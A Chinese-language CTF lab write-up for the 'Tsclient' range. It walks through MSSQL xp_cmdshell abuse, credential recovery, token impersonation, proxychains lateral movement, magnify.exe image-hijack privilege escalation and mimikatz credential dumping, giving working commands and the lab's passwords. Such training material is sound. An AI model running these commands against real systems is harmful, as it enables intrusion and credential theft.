Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
参考文章:
打开环境后是一个 IIS 初始界面,fscan 扫一下
发现 1433 端口 mssql 存在弱口令
用 DBeaver 连接,开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
exec xp_dirtree 'c:',1,1
查看目录文件,可以发现网站根目录在 c:\inetpub\wwwroot
考虑在 c:\inetpub\wwwroot
下写马提权,先尝试写普通文件,但是拒绝访问
同时靶机不出网,找找其他信息,在c:\Program Files\AliyunService\
下找到一个 aliyun 的日志
下载下来查看,发现用户名密码,base64 解一下就是 administrator/Adm1nYgGIeXWA
远程桌面连进去就可以,第一部分 flag 在 C:\Users\Administrator\flag
下
fscan 传上去开扫 C 段收集信息
query user
查看用户
netstat -ano|findstr 3389
查看 3389 占用情况
有域内机器连过来,根据提示考虑用 TokenUtil.exe 令牌模拟
但是模拟后在 net use
下并没有看到共享文件;改用 SharpToken.exe 模拟,先在服务器上安装 .NET 3.5,管理员模式下执行 PowerShell
SharpToken.exe execute "WIN-WEB\John" cmd true
模拟完成后再次查看,可以看到共享文件
给了一个域内的用户名和密码,以及一条“镜像劫持”的提示;通过 fscan 扫描后知道域内的机器是 .31/.46/.15,可以对这三台机器尝试用账号密码登录;开 NPS,kali 走 proxychains 代理
proxychains crackmapexec smb IP -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' --loggedon-users
都显示密码过期,尝试 rdesktop 登录,修改密码后就可以远程桌面登录
proxychains rdesktop 172.22.8.31
但是挨个试下来,只有 .46 可以,在 .46 下,Aldrich 用户并非管理员用户组内的用户
根据刚刚的提示,可以使用镜像劫持,网上搜了下相关文章:《基于辅助功能的镜像劫持攻击原理》,原理也写得比较清楚了,主要是利用 Windows 本身提供的辅助功能
获取 HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
注册表下的 ACL 信息
Get-Acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
注意到任何用户对注册表都有写入创建的权限 NT AUTHORITY\Authenticated Users Allow SetValue, CreateSubKey, ReadKey
在锁定用户的情况下可以看到一些辅助功能
劫持放大镜🔍,查看 flag02.txt
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /d "C:\Windows\System32\cmd.exe"
查看域管理员组 net group "Domain Admins" /domain
, WIN2016$ 在里面
下一步就是获取 WIN2016$ 的 NTLM 因为提前传了一个 mimikatz.exe 进去,所以直接在这里的 system 权限下执行
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
拿到后直接 mimikatz.exe 传递访问域控,查看 flag03.txt